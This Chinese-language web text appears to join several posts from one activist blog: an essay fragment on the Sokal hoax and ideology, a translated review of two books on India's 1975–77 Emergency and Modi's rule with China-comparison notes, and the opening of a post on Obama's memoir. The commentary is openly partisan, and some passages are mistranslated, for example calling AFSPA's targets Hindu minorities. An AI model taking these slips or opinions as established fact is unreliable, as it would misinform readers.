当然，这样的胡言乱语并不新鲜。 1996年，Alan Sokal 在社交文本杂志上发表了一篇假文章。这篇假文章的突出源于其高度简化性，通过让一本著名的人文杂志发表这么一篇充满情绪化流行语的胡言乱语文章，Sokal 阐述了文化研究中的缺陷，特别是某些词语（通常缺乏语境）可能导致同行评审者放弃严格的评估。

最近，两位学者又在 Cogent Social Sciences 杂志上发表了一篇假文章，题为“概念性阴茎作为社会结构”，该作者认为，人们不应该将阴茎视为一个身体器官：“解剖学阴茎可能存在，但作为变性女性在手术前也有解剖学阴茎，阴茎相对于男性是一种不连贯的结构。“作者认为，概念阴茎不是作为一个解剖学器官而是作为一种“与表演性男性气质同构”的社会结构，才能被更好地理解。

就像 Johnny Depp 和 Benicio Del Toro 在“恐惧和厌恶”中所指出的那样，人们似乎正在关注一个充满酒驾的高速公路。正如 Nietzsche 的概述所言，醉酒和疯狂是 Dionysian 的组成部分，因为它们打破了一个人的个性。

意识形态正在以类似的方式运作，因为它直接吸引了基本的本能和情绪反应，从而绕过了过程中的理性和逻辑。对于一些不加思索的人来说，某些意识形态可能就会让他们感觉正确，但如果可以想到存在相反的证据，这种感觉就会减少。

如果2016年的美国总统大选能说明任何东西的话，那就是：我们所有人正在遭受信息超载的困扰。我们每天都受到如此多的信息的轰炸—从广告到政治诽谤，阴谋论到伪科学事实—这些信息的大部分内容都是为了欺骗，通过吸引人们的情感和归属感来取代推理。

归属意味着属于一个具有类似于我们自己的意识形态精神的群体的特定渴望。大多数人都对自己的盲点视而不见，对自己的感受和偏见如何影响自己的思想和行为一无所知。意识形态就像一个接受奥斯卡奖

的演员：满载的情感和零理性。

想象一下，如果可以的话，一个意识形态受理性支配的世界。在这样一个世界中，如果它真的存在，那么意识形态战争就没有什么需要或空间了。暴露于相同的事实中，我们最终会得出相同的结论（当然，偏见仍然可以发挥其有害的影响）。

当理性与主观品味—意识形态的一个关键因素不一致时，后者几乎总是取得胜利。正如我们在世界各地的大学校园中看到的那样，意识形态可以使我们离理性越来越远。历史告诉我们，希特勒、斯大林和毛泽东等意识形态造成的毁灭。通过了解意识形态的危险，也许大学校园可以重新获得真理和理性的宝座。

原文

少说话，多办事 …… 当坏蛋手持宪法 - iyouport

免费书和纪录片社会反抗和思考

【2021年3月17日存档】“无论一部宪法有多么好，它的结果肯定是坏的—— 只因那些被要求去运作它的人，恰好是一群坏蛋”

【按】我们听说一些中国知识分子在研究宪法，和普及相关知识。这是个很好的消息，不过，一部好的宪法并不是民主保护罩的全部。本文将推荐两本新出版的书，它们提醒人们思考一些更深刻的实际问题。

正如我们在去年底的年终访谈中强调的 —— 重要的是让人们知道，这个世界并没有按照您在学校里学到的那些规则运转。忘了教科书吧，宪法不等于宪政，距离宪政民主还有十万八千里。

“全世界最大的民主国家” 事实上并不是民主国家？这究竟是怎么回事？

本文中涉及的所有书籍在这里下载：https://www.patreon.com/posts/xian-fa-wei-shi-44910600Indira Gandhi garlands a baby on the occasion of Holi. | Indira Gandi Memorial Trust

1975年6月25日午夜以后，印度的600多名政治领袖、社会活动家和工会会员被粗暴的敲门声惊醒。到了黎明，他们已经被关进了监狱，罪名是煽动 “内乱”。与此同时，政府切断了报社的电力，阻止了他们第二天的出版。

“总统已经宣布了紧急状态”，总理英迪拉·甘地（Indira Gandhi）第二天早上在全印度广播电台的一次意外广播中宣布，她说，“这没什么好惊慌的。”

前一天晚上，她让眼神黯淡的法赫鲁丁·阿里·艾哈迈德（Fakhruddin Ali Ahmed）总统触发了印度宪法第352条中的紧急状态条款，允许

她推迟选举并暂停大多数基本公民权利，包括言论、集会、结社和行动的权利。

英迪拉·甘地一挥笔，就有效地拆除了印度的民主基础设施，将独裁权力集中在自己手中。

实施全面的新闻审查制度，不听话的外国记者被立即驱逐，包括《华盛顿邮报》、《卫报》和《每日电讯报》的记者。6月28日，有人在孟买版的《印度时报》上偷偷地写了一则巧妙的讣告 —— “哀悼 D’Ocracy -D. E. M.（民主政体）, T. Ruth （真理）挚爱的丈夫， L. I. Bertie （自由）慈爱的父亲，Faith, Hope, 和 Justice（信仰、希望和正义）的好兄弟，于6月26日去世。”

随后的21个月紧急状态被认为是印度独立后历史上最黑暗的一章。对于那些上了年纪的人们来说，这个词让人联想到未经审判的大规模监禁、被封杀的新闻和动员、拆除贫民窟，以及最令人震惊的数百万人被强行绝育。

在印度的政治话语中，这个词常常被引为警世名言，一般认为这是一个 “特殊” 时期，印度在很大程度上得益于其民主体制和风气的韧性，令人钦佩地 “从中恢复过来了”。

但是，两本新书则有力地挑战了这种共识。

在《*India’s First Dictatorship*》这本书中，Christophe Jaffrelot 和 Pratinav Anil 揭露了紧急状态之前印度民主文化的长期弱点，揭示了其他行为者 —— 商人、中产阶级，甚至工会成员和一些共产主义者 —— 在促成甘地的独裁统治中所扮演的角色。

在《*Emergency Chronicles*》这本书中，Gyan Prakash 考虑了现代印度国家的各个方面，特别是其宪法，是如何促成了一场混乱的接管。

在对印度国家与社会的关系提出根本性问题并探索其诸多断层时，这些书突破了通常被人们认为的 “世界上最大的民主国家” 的鼓吹。他们没有把紧急状态看作是一种反常现象，相反，而是把它看作是印度独立后某些社会和政治趋势的必然结果。

这两本书都是着眼于当下而写的。自2014年上台以来，总理纳伦德拉·莫迪（Narendra Modi）主持了一种不宣而战的紧急状态：拒绝宪法规范；将成千上万的和平抗议者、记者和活动家关进监狱；破坏新闻界；收回了克什米尔自治的最后一块碎片。

在维护其民主外衣的同时，莫迪还将包括情报机构和警察部队在内的机构、中央银行、司法机构和选举委员会，甚至公立大学和印度历史研究委员会，全面武器化了。

最引人注目的是，像英迪拉·甘地一样，莫迪也开始了一系列错误的和不必要的惩罚性政策 —— 从几乎没有事先通知就禁止某些纸币、到监视军事化的 Covid-19 封锁，在缺乏计划或准备的情况下引发了大规模的徒步流民。

莫迪轻松地完成了这一切，再次引发了人们对 Prakash 所描述的印度社会 “与民主价值之间的麻烦关系” 的关注。

这两本书让我们可以评估今天浓郁的自由民主赤字与70年代中期相比是如何叠加的。今天的印度究竟是比当年更不容易受到暴政的影响？还是更容易受到暴政的影响？Father and daughter touring Disneyland, 1961. | Wikimedia Commons

独立的印度国家是在暴力的熔炉中形成的强了印度各领导人 —— 贾瓦哈拉尔·尼赫鲁、其他高级国会议员以及**B.R.**安贝德卡 —— 长期以来对一个强大的中央集权国家的渴望，他们认为那样的国家可以维持秩序和稳定，（更模糊地说是）形成民族团结。

对他们来说，幸运的是，即将离去的帝国政府正是拥有这样一个具备巨大行政权力的大厦才获得 “成功” 的，民族主义精英们几乎没有做出什么变化就接管了这个大厦。正如 Prakash 所指出的那样，“旧的社会秩序、经济、法律、警察和官僚体制，并没有被革命推翻”。

【注：贾瓦哈拉尔·尼赫鲁（Jawaharlal Nehru）印度独立后第一任总理，也是印度在位时间最长的总理，1952年印度第一次大选中获胜，连任总理；B.R.安贝德卡（Ambedkar）印度法学家，经济学家，政治家和社会改革家，他是独立后第一位印度法律和司法部长，也是印度宪法的首席设计师。】

新国家保留了殖民时代司法和民政管理的大部分精神和基本结构。一个主要区别是，宪法中增加了基本权利，如言论自由。但是，国家保留了以模糊的理由 —— 包括 “为了” 维护 “公共秩序、礼貌或道德” 等 —— 制定任何法律对这些公民权利 “施加合理限制” 的独裁大权。仅仅因为宣称战争或 “内乱” 的威胁，就可以实施紧急状态。宪法基本上允许一个腐败的领导人 *在合法的情况下* 破坏它所要维护的民主。

【注：您可以联想中国 ……“寻衅滋事”、“煽动颠覆”、“维稳”，等这些词的意思，在此是一样的。】

B.R.Ambedkar—— 印度最重要的贱民领袖和宪法的主要制定者——支持其中一些条款。但他并不认同其他民族主义者对 “强大祖国” 的执着，这种执着促使他们将煽动性言论定为犯罪，并限制隐私人权。

他在一个被认为是 “贱民” 的社区长大，他比任何其他国家领导人都更了解 “印度社会” 的等级制度和分裂程度有多深。他在1948年的名言中说，印度的民主主要是 “印度土壤上的表层装饰，而印度的土壤基本上是不民主的”。国家必须通过大力的社会和经济干预，给这片土壤施肥，使民主开花结果。

【注：贱民 Dalit（दलित），又称达利特人。是印度和尼泊尔种姓制度的最低阶层。达利特的字源可追溯至梵文，字面意思为地面、被控制的。包括旃陀罗、穆萨哈尔、恰马尔等族群，在印度都被归类为贱民。】

“确信印度社会缺乏民主价值”， Prakash 写道：

> ***Ambedkar*** 把他的信仰寄托在政治领域。这种对政治重建社会的信念，有一些托克维尔式的东西。因此，他写了一部宪法，赋予国家以非凡的权力。他和他的立法者同事们期望，国家将从上面完成社会从下面无法完成的事

【注：托克维尔（Alexis-Charles-Henri Clérel de Tocqueville），法国思想家、政治学家、历史学家、政治家、外交家，法兰西学术院院士，法国第二共和时期的外交部长、众议院议员。托克维尔致力于探讨西方社会中民主、平等与自由之间的关系，并检视平等观念的崛起在个人与社会之间产生的摩擦。】

为此，Ambedkar 的宪法强调 “在所有生活领域中的平等和博爱”，并列入了保障边缘化群体的条款。

几十年来，他因其在起草该文件方面的作用而受到很大的赞扬，这是理所当然的。但是，在**50**年代初，他对最终的宪法产品表示失望。**Prakash** 写道，他对促进 “宪法道德” 的国家的设想要求 “领导人对民主程序的道德承诺”；“它设想精英们将以某种方式克服来自社会的阶级和种姓压力。在这里，记录所显示的是赤裸裸的失败”。

白人殖民者离开后，上层种姓精英和其他地方的许多后殖民精英一样 —— 就如 Ambedkar 所担心的那样 —— 接任了棕种人的职务。国大党民族主义者领导的自由斗争的光环在五十年代帮助了尼赫鲁和他的党派。当时支持国大党的两大支柱是富有的地主和大企业。

这个寡头集团不仅破坏了尼赫鲁的土地改革和国有化计划，而且，还轻易地摆脱了腐败和裙带关系；甚至尼赫鲁还允许他的女儿在1959年成为国大党主席。

尼赫鲁远没有像许多东亚国家那样推动社会经济正义的计划 —— 比如说，土地改革、普及教育、反对种姓歧视等 —— 精英阶层巩固了他们对政治、经济、教育、文化机构和媒体的霸权。印度实际上是少数人的民主，享有民主的人很少，非常少，特别少。

这就是英迪拉·甘地在1966年从她父亲那里继承的国家。在这个社会发酵时期，全国各地爆发了各种意识形态取向的民众运动。毛主义在孟加拉乡村爆发，本土主义者在马哈拉施特拉邦抨击南印度移民， 中产阶级青年抗议古吉拉特邦对学术自由的侵犯和物价上涨， 一个广泛的利益联盟反对比哈尔邦的腐败 ……

这些起义也许最能被看作是底层和半农奴化人口的愿望和政治意识上升的结果。越来越多的印度人现在把自己看作是国家的公民，而不是臣民。但是，统治他们的精英们在很大程度上仍然是冷漠无情的。

“能够动员民众反对英国的统治的这些人，但却无法满足民众的要求和愿望”，**Prakash** 反思道，“精英们不得不以沉重的胁迫手段进行统治。”

早在1958年，尼赫鲁政府就仿照英国时代的法令颁布了《武装部队特别权力法》（AFSPA），该法给予维稳部队强奸、谋杀和酷刑等暴行以法律豁免权。这种罪行后来在东北部、克什米尔、旁遮普和印度中部的土著地带频繁发生：几乎所有地区，关键是印度教少数族裔。Perry Anderson 在他的《印度意识形态》一书中指出：“AFSPA 之手落在了印度教没有覆盖到的地方”。

在英迪拉·甘地执政的早期，她巧妙地扫除了党内的守旧势力，将控制权集中在她自己身上。她宣扬 “民主社会主义”，将持有85%人民存款的14家商业银行收归国有，并废除了前王公国统治者继承人的 “私房钱” —— 这些人以前有权从他们的领土上永久获得所有收入的8% —— 这两项行动都遭到最高法院的抵制。

法院还挫败了甘地的土地改革野心，认为财产所有权是一项基本权利，议会不能夺取任何人的土地进行再分配（“尼赫鲁式社会主义”就是如此）。Jaffrelot 和 Anil 写道，甘地对此感到愤怒，决心“把议会从保守派大法官的钳制中解放出来”，开始了一场漫长的意志斗争。她加强了现有的规章制度和对企业的官僚化控制，后来被称为“许可证法”，这进一步加深了印度的经济停滞和腐败的恶化。

1971年，英迪拉·甘地自诩为穷人的救世主，以民粹主义口号 garibi hatao (“消除贫困”) 赢得了压倒性的胜利。那年的12月，她在战争中击败巴基斯坦并确保孟加拉国的解放后，仍然高歌猛进。

她的事业是正义的，她对美国的恶霸嗤之以鼻，因为美国没有做正确的事，而是支持他们的冷战盟友巴基斯坦。在《甘地之后的印度》一书中，Ramachandra Guha 报告说，“现在连反对派的政治家都把她说成是‘杜尔迦’，印度教神话中的征服女神”。

> 甘地认为，制作一盘“进步”的煎蛋有时需要先打破个人权利那只蛋

但事情很快就变得更糟了。两次令人失望的季风和1973年的全球石油危机导致了干旱、物价上涨、经济衰退、城市高失业率、和猖獗的腐败 —— 这些问题常常成为当时艺术电影的背景，如 Satyajit Ray 和 Mrinal Sen 的电影，甚至偶尔也有宝莱坞电影，如玛诺·库玛的 Roti Kapda Aur Makaan（《食物、衣服和住所》）。

【注：它之所以使用“甚至”，是因为印度的宝莱坞和美国好莱坞一样，在很大程度上是官宣的性质。】

工业增长、土地再分配和减贫工作停滞不前，甚至低于以前的贫乏水平。国大党在改变上层种姓对权力和资源的统治方面几乎没做任何事。罢工、集会和抗议活动中充斥着喊口号的青年和学生，包括拉鲁·普拉萨德·亚达夫（Laloo Prasad Yadav）和尼蒂什·库马尔（Nitish Kumar）等未来的地区领导人。

他们与农民和工人一起，对甘地主义者贾亚普拉卡什·纳拉扬（Jayaprakash Narayan，简称JP）发出号召 Sampoorna Kranti（“全面革命”）。

他们抨击公共腐败、官员冷漠和国家镇压。虽然离全国大选还有几个月，但他们要求英迪拉·甘地辞职。自自由运动以来，还没有组织过如此大规模的抗议活动。Anand Patwardhan 的纪录片《革命的浪潮》

（1974年）提供了这次起义在比哈尔邦发生的动人一幕。

甘地则强烈谴责这些抗议活动。这暴露了她“对选举竞争、利益多元化和代议制民主的根本性不安”，Jaffrelot 和 Anil 写道。JP本人不喜欢世俗主义，并与包括准军事组织 Rashtriya Swayamsevak Sangh(RSS) 在内的印度教右翼合作，在这些法西斯分子因与杀害圣雄甘地的凶手有关联而被抨击多年之后，为他们平反也无济于事。英迪拉·甘地在民主本能方面的虚弱无力与JP的社会愿景的不一致发生了冲突。

【注：RSS 国民志愿服务团，是印度右翼、印度教民族主义、全男性的准军事志愿者组织。 国民志愿服务团有诸多外围组织，被称为 Sangh Parivar，在印度社会的各个方面都有存在。国民志愿服务团成立于1925年9月27日。截至2019年，它的会员人数至少有500万。】

人们普遍认为，“紧急状态”的导火索是1975年安拉阿巴德高等法院作出的一项判决。法院认定英迪拉·甘地在1971年犯有相对较轻的选举不当行为，宣布她的议会选举无效，并禁止她在6年内参加竞选。此案转到最高法院，甘地考虑辞职，直到她的上诉得到解决。

最后，她决定不冒这个险。相反，她召集了她在警察和外国情报部门的走狗，策划了一场针对民主的秘密战争。异见者被监视，公民作为重点维稳对象的名单被准备好，政治宣传被准备好。然后就是本文开篇那一幕 —— 午夜突袭和全国广播电台的公告。Mother India accepts gifts from her subjects. | Wikimedia Commons

甘地喜欢对外国记者说，实施紧急状态是为了防止国家的“混乱和崩溃”，并注入一种“新的纪律和士气精神”。她指称，印度人已经变得“太松懈、太以自我为中心、太放任、太不守纪律[原文如此]”。在公共场所竖起了一堆标语，宣称：“勇气和清晰的愿景，你的名字是英迪拉·甘地”；“她站在秩序和混乱之间”；“少说话，多办事”。

印度的司法机构经常因其独立性而受到赞扬。但是，在紧急状态期间，印度司法机构却直接让步，认为暂停人身保护令“并无不妥”，这为秘密的大规模监禁铺平了道路。

【注：这里有一篇去年4月的文章，《全球最大的民主国家也是全球最大的监视国家》可以帮助您了解这种状况。】

甘地很享受这种新的权力，她监禁了超过10万名异议人士：来自左派，右派，甚至是前国会议员，还有学生、记者、纳萨尔派和其他

人，这些人在没有指控的情况下被攻击和监禁。

大多数人被关押在过度拥挤、严重不卫生的监狱里。许多囚犯遭到殴打、性虐待或酷刑：应该强调的是，所有这些都是印度监狱的常态。

让一些人受到惩罚只是为了让更多的人感到恐惧。为此，全国约有0.19%的官僚被有选择地解雇，这有助于使官僚机构的“主体架构”屈服。逮捕、查税和惩罚性的工作调动，被用来迫使他们服从。新闻机构被严厉审查 —— 禁止发表任何批评政府的文章，并要求任何有关紧急状态的报道都必须得到批准。

在摆脱了“反国民” —— 甘地在宪法修正案中不无讽刺地引入的这个词 —— 之后，政府开始着手“国家建设”的工作。对于掌权的技术官僚来说，任何进展都是以遏制人口增长为前提的 —— 这有优生学的味道 —— 而且他们对国家“计划生育”工作的缓慢步伐感到沮丧。

掌握了绝对的权力，在没有新闻界或司法机关的监督下，该政权发起了极具侵略性和强制性的大规模绝育行动。在美国福特基金会和世界银行等机构的指导下，为绝育手术提供资金的模式在六十年代就已经形成。官方的目标往往是通过胁迫达利特人（贱民）、穆斯林和穷人来实现的，这种情况在紧急状态后仍在继续。

这个项目的惩罚性质值得强调。甘地并没有投资于人类发展 —— 教育女学生、降低婴儿死亡率 (使人们少生孩子) —— 而是加强了国家对边缘化人群的镇压。各州的绝育指标大幅提高，对当地官员们施加巨大的压力和威胁，引诱他们不择手段。

在城市里，警察把乞丐、无家可归者、日工和体弱者抓起来，做输精管结扎术，甚至包括一些未婚的年轻人。有些村民敢于集体抵抗，比如古尔冈（今天的德里卫星城）南部村庄的穆斯林Meo人。他们的电力被切断了连续二十五天，之后，数百名警察带着枪支和催泪瓦斯赶到，强行围捕那些被要求进行手术的男子。在全国范围内，抵抗运动遭到了暴力镇压；警察开枪打死了数百人。

这已经不是计划生育，简直是侠盗猎魔。

【注：《侠盗猎魔》是一款以追捕为主题的心理恐怖电子游戏】

甘地对这些杀戮仍然避而不谈，并将其视为“附带伤害”。（记录美军杀戮记者和儿童的吹哨人视频资料也叫这个名字 —— 这是军方为掩盖杀伤平民行为的最常用狡辩之词）

英迪拉·甘地认为，要想取得进步，有时需要打破个人权利的蛋。“我们应该毫不犹豫地采取可能被称为激烈的步骤”，她对一群医生说，“为了国家的人权、生存权、进步权，一些个人权利必须被搁置。”

由于官员们被激励着去生产数字，而不是质量，绝育手术往往在非常不卫生的营地里匆匆完成；许多人于因此受伤，少数人死亡。

Rohinton Mistry 后来在他1995年出版的小说《微妙的平衡》（A Fine Balance）中描述了这些事件。

在受干旱影响的地区，对穷人的援助与绝育手术直接挂钩。比哈尔邦甚至将配给卡限制在每个家庭的前三个孩子身上，并解雇了那些未达到绝育目标 50% 的计划生育官员。在紧急状态下，近**1100**万人接受了绝育手术，比前几年高出五六倍。

技术官僚们在阉割贫民窟的同时，还对穷人们的住宅下手。Prakash 写道，在所谓 “美化” 的幌子下，他们现在派推土机来铲除城市贫民窟。居民 “往往以出示绝育证明为条件，才能在重新安置区获得地块”。

在几十个城市进行了**15**万多次非法拆迁。一些最严重的强拆行动针对的是旧德里主要的穆斯林社区，在那里，“人民的抵抗行为遭到子弹和肆意暴力的残酷镇压”。许多新近被无家可归的人只是被丢弃在城外，没有任何迹象表明答应给他们提供住房。

70多万人，占德里居民的14%，因所谓的 “美化” 行动而流离失所；2万条狗被打死。甘地的 **“Garibi hatao**（消除贫困）**”** 口号实际上已经变成了 **“Garib hatao”**（“消除贫困人口”）。

【注：…… 这个，就不用更多解释了？您一定记得中国的 “低端人口” 运动是如何震撼；并且，我们在第一次分析BLM运动的时候记录了一个被称为 「2030年五角大楼演习」 的视频，它预计政府需要实行戒严 …… 以应对 “宗教和种族紧张关系”、“贫困、贫民窟”、“越来越多的失业者”，以及必须保护享受繁荣经济的精英们、不要让穷人—低端人口—影响城市的景观 ……】

大规模的绝育和拆除贫民窟都是由英迪拉的儿子桑杰（Sanjay）领导的：他是一个冷酷无情、不择手段的 “行动者”。在某些方面，他预见到了印度后来的转变。

正如 Jaffrelot 和 Anil 所写的那样，桑杰认为 “经济最好由私营部门处理，社会主义已经过时，减税是必要的”。基本就是由于他自己的完全无能，他在打造国产 “人民的汽车” 项目的过程中失败了。但他并没有因此而退缩，现在他在政治上寻找自己的位置。虽然桑杰在政府中没有任何职位，但是他为他妈代言，并指挥党的官员和高级官僚。

> 如果说英迪拉·甘地代表了资产阶级民粹主义装扮的经济左翼，那么莫迪所代表的就是资产阶级民粹主义装扮的文化法西斯主义。

像她的父亲一样，英迪拉·甘地经常被认为是一个 “社会主义者”。然而，她在紧急状态下使税收更加倒退。她还给予最上层的**1%**统治阶级以财富和所得税的减免，并通过削减社会福利和教育来抵消。

事实上，和她的民族主义前辈一样，她完全不屑于大众教育，并敢于号召 “志愿组织” 来教育印度同胞，而当时65%的印度同胞都是文盲。她比前几年做出了更多的土地重新分配，但对如何使这些变化在法庭上不受挑战表现得兴趣不大。Jaffrelot 和 Anil 写道，她的政权大多结合了 “公司主义和专制主义”，挫败了劳工运动和工会主义，并倾向于 “私营部门垄断”。“一名议员想知道” 这是否真的左转，还是事实上的右转？

实际上，甘地实行的是一种有利于大企业的专制制度。也许这就是为什么她的 “紧急状态” 得到了大多数实业家的支持，包括 JRD Tata，他们认为议会民主 “不适合印度”。著名大学的校长甚至与国家勾结，惩罚持不同意见的学生。

【注：JRD Tata 杰汉吉尔·拉坦吉·达达博伊·塔塔，印度企业家、塔塔集团董事长。】

甘地还得到了某些知识分子和大部分中产阶级的支持，他们认为她 “恢复了法律和秩序以及社会纪律”。他们的民主精神和对自由、平等、博爱等价值观的承诺，显然比他们根深蒂固的等级意识和对权威的尊重要弱得多。

毫无疑问，甘地还降低了中产阶级消费品的关税；至关重要的是，国家官僚机构作为她的镇压政权的先锋，起到了关键性的作用。一位漫画家称其为 “秘书处的专政”。

Jaffrelot 和 Anil 写道：“1975年，民主在印度如此迅速地分崩离析，

因为它的核心价值，包括自由，在印度的环境中没有很好地制度化”。 宪政道德对大多数人来说只是个理论概念，特别是在乡村，那里的生活受旧的社会法典支配。紧急状态只是大多数公民 —— 特别是穷人 —— 长期以来持续遭受国家和社会暴力状态的一个加剧。

在内心深处，许多人仍然给予他们的 “血统” 领袖以君主曾经享有的那种封建式的崇敬。如果有的话，人们倾向于将当权者的过激行为归咎于国家官员 —— 而不是英迪拉·甘地或她的儿子，甘地或她的儿子后来仍然很受欢迎 —— 这表明人们对有魅力的独裁领导人的相当偏好，这种偏好一直延续到今天！

到1976年末，西方媒体对甘地政权的批评越来越多。在国内，民众对绝育和拆毁贫民窟的愤怒更加强烈。甘地受到密友的谴责，面临着作家和知识分子越来越多的抗议。

最后，连甘地自己也意识到她的儿子做得太过分了，想控制他。她一直说，“紧急状态是暂时的”，她再次渴望民众授予的政治合法性和国际上的尊重。第二年1月，她突然释放了所有政治犯，并要求在3月举行新的选举。但是，在一群笨蛋的包围下，她错估了自己的胜算。公众给了她一个响亮的失败。

由 Janata 党领导的新政权 —— 这是一个不太可能的、由左翼和右翼政党组成的破烂联盟，主要是以击败甘地和扭转她的宪政混乱为目标而团结在一起的 —— 消除了甘地的大部分过激行为，并使宣布紧急状态变得更加困难。

但是，这个联盟很快就搞砸了经济，产生了社会动荡，并因内讧而分崩离析，为英迪拉·甘地的回归铺平了道路。在争吵的政党中，有RSS的政治派别 —— 右翼的印度人民党（Bharatiya Jana Sangh），该党于1980年从 Janata 党分裂出来，改名为今天统治印度的印度人民党（BJP）。

> 英迪拉·甘地总是说，“紧急状态”是暂时的，但是，印度人民党的愿景是让它永恒。

印度人民党的突飞猛进是长达一个世纪的动员的高潮，它倡导一种不同的印度民族观念，围绕着狭隘的印度教身份而不是公民归属感组织起来。就其本质而言，印度教民族主义 *Hindutva*，是沙文主义和霸权主义的。印度人民党可能控制着印度国家，但它管理的是一个印度教国家。

与英迪拉·甘地一样，莫迪拥有巨大的中产阶级支持，尤其是在上层种姓印度教徒中，2019年有61%的印度教徒投票给他，构成了他最可靠的票库。

但在甘地只是一个受人敬仰的专制主义领袖的地方，莫迪的吸引力超越了政治。

作为一名RSS人，他与印度教中产阶级一样，有着文化上的不安全感和制造的教派怨恨。他是个很不错的吹鼓手，他向他们灌输印度教的自豪感，对辉煌过去的憧憬，对超级大国的幻想，包括子弹头火车、智能城市、和印度教徒的强国 —— *HinduRashtra*。

这位 “全世界最大的民主国家” 的领导人很少与媒体交谈，他更喜欢像圣人一样布道，编织颂歌和传奇故事。在这个社会变革扑朔迷离的时代，他说要复兴传统文化和知识，如瑜伽、阿育吠陀、梵文和婆罗门教经文。随着全球化使人们越来越近，莫迪崇尚爱国主义，崇尚为国家的神灵或 *Bharat Mata* 做出个人牺牲。

【注：阿育吠陀（梵語：आयुर्वेद，转写：Āyurveda，意为 “长生之术”）为印度教及佛教的传统医学，也译为寿命吠陀或阿苏吠陀；婆罗门教（Brahmanism），是起源于古印度的宗教，也是现在的印度国教印度教的古代形式，以《吠陀经》为主要经典，以把种姓制度作为核心教义；Bharat Mata）是印度画家 Abanindranath Tagore 在1905年的作品，即 “印度母亲”。】

如果说甘地代表的是资产阶级民粹主义装扮的经济左派，那么莫迪代表的则是资产阶级民粹主义装扮的文化法西斯主义。

作为一个干部党，印度人民党属于一个准军事的、社会和文化组织的家族，“Sangh Parivar”。他们共同渗透到社会生活中，比国大党曾经做过或能够做过的要广泛得多。

【注：Sangh Parivar 指的是由 Rashtriya Swayamsevak Sangh 产生并仍然隶属于该组织的印度民族主义组织。】

印度教右派的宣传机器，同时部署电子媒体和基层社会服务，其影响力是前所未有的。印度人民党无望分裂的反对派几乎没有什么对策。

结果，越来越多的印度教徒开始相信，他们的生活方式受到印度 “非达摩” 宗教少数派，特别是穆斯林 —— 他们中的大多数人属于印度最弱小的社会经济群体 —— 以及被认为是所谓的 “反国民” 的左派学生

和知识分子、诗人、记者、社会活动家和其他异议人士的“威胁”。

印度教是如此令人陶醉，以至于它的崇拜者甚至可以忽略莫迪最严重的失误，如 纸币废止事件、多年的经济增长下滑、计划不周的 Covid-19 封锁导致的内部大规模流民，以及与印度邻国关系的恶化。事实上，自2014年以来，印度在饥饿、幸福、新闻自由、经济自由和经济竞争力等全球指数上，都在稳步下降。

英迪拉·甘地的过激行为是由高层推动的，并由国家官员实施。在莫迪的案例中，党派国家的工作被甘地从未有过的反动步兵大军所放大：私刑暴徒、社区暴徒、社交媒体枪手、付费的 **trolls**、和假新闻传播者、欺诈大师、以及专门针对不同信仰的骚扰者。

【注：中国对这些东西的投资也是不凡的；于是，不仅是克什米尔冲突热点时段，几乎经常，你都能看到中国 trolls 和印度 trolls 在使用英文对骂，尤其是在开源情报相关的内容下面 —— 是的，中印两国都学会到了一点把 **片面**的开源情报调查作为信息战武器的方法，来攻击对方 …… 此外，在这里看到一部分相关故事《巨魔崛起：政府资助的网络水军正遍布全球》】

如印度人口最多的北方邦，BJP 政府容忍甚至鼓励私刑司法。该党和这些狂热的信徒们经常像唱双簧一样工作。右翼企业媒体纵容他们，为莫迪站台，提高对多数派统治的支持 —— 以换取政府和政治广告支出、线下利益，或者仅仅是出于自己的意识形态狂热。

除此之外，BJP 还让政治资金变得不那么透明，并在 **BJP IT Cell** 的带领下，大力投资假新闻工厂。（在这里看到更多故事《逮捕、追踪和惩罚，全球”反谣言”行动地图》）

“我们可以让任何消息成为病毒式传播，不管是真的还是假的，是甜的还是酸的”，印度内政部长阿米特·沙阿在该党的社交媒体志愿者聚会上夸耀道。

警方也成为了 BJP 军火库中的一个党派工具，这在2020年2月针对印度首都穆斯林的社区袭击事件中可见一斑。试图进行真正的新闻报道的媒体机构面临暴力、恶意调查、所得税突击检查、和直接关闭。

绿色和平组织和大赦国际等监督机构在印度受到骚扰，当局暂停了他们在印度的大部分或全部业务。最高法院越来越不愿意挑战印度人民党的意识形态项目，无论是在克什米尔、阿约提亚，还是在《公民身份修正法》中（该法为基于宗教的印度公民身份开辟了一条道路），

都清楚地表明了该政权对司法机构的统治。

的确，除克什米尔外，其他地区的基本自由和民主机构还没有像紧急状态期间那样消失。但是，今天崩溃的性质让人感到更加肮脏和不祥。恐惧现在弥漫在不断凝聚的不同意见和辩论的口袋里；这真的像是法西斯主义的开始。英迪拉·甘地总是说，“紧急状态” 是暂时的，但是，印度人民党的愿景是让它永恒。

幸运的是，也有抵抗，由了解利害关系并愿意为自己的印度理念而斗争的公民领导，如去年12月全国范围内对《公民身份修正案》的大规模和平抗议，以及最近农民对农业新自由化的抗议、和广大公众对北方邦哈特拉斯上层种姓暴徒轮奸和谋杀一名贱民女孩的残暴的抗议。

抵抗会被证明是充分的吗？宪法肯定需要捍卫，但更需要的是公共生活中清醒的正派，共同的人性意识，以及对事实、证据和批判性思维的尊重。

“无论一部宪法多么好，它的结果肯定是坏的 —— 只因那些被要求去运作它的人，恰好是一群坏蛋”，Ambedkar 在1949年向制宪会议发表的最后一次演讲中说道。

一部宪法如何在实地发挥作用，最终取决于 “人民和他们 …… 为实现他们的愿望和政治而建立的政党”。他很认真地补充道，“谁能确定印度人民和他们的政党将如何行事？” ○

Talk Less, Work More

原文

应许之地的虚假承诺 - iyouport

免费书和纪录片社会反抗和思考

【 2021年4月13日存档】这位前总统在他的新回忆录中明确表示，他无意成为救世主。

【按】在去年11月投票期间我们写道：《拜登很有可能比奥巴马更糟糕—如果左翼不能领导这场反击，那么右翼就会领导》，解释如下：

选举后一些中国观察家认为“民主党能就此稳住座椅很多年”，那可不一定。

如上图中我们去年的分析，当拜登只是一加强版的奥巴马时，其后的反弹就很可能是一个“加强版的特朗普”。

一向犀利的波士顿评论指出了与去年我们的分析中非常近似的预测，它采取的根据更为切实 —— 就是奥巴马自己的言论，他新出版的那本书；其中清楚地澄清了这一事实，即：他不是改革者，大众选民对他的预期是完全不切实际的。

奥巴马通过“等待戈多”的表演维持了他8年的政治生涯，其结果是导致了特朗普主义的反弹；而拜登，甚至连戈多都不想要，那么，2024将是一个什么样的故事？

- 📌 非常推荐这篇文章《为什么选票无法帮你改变糟糕的现状？真正改变应该来自哪里？：权力的杠杆》

注：从始至终IYP已经多次分析美国政治，但我们的目的绝不是美国，您知道。准确分析和预测政治时局是民主活动家乃至普通公民必不可少的基本功，尤其是对缺少民主经验的国家的公民来说，您最好能找到一切机会来训练自己这方面的能力。

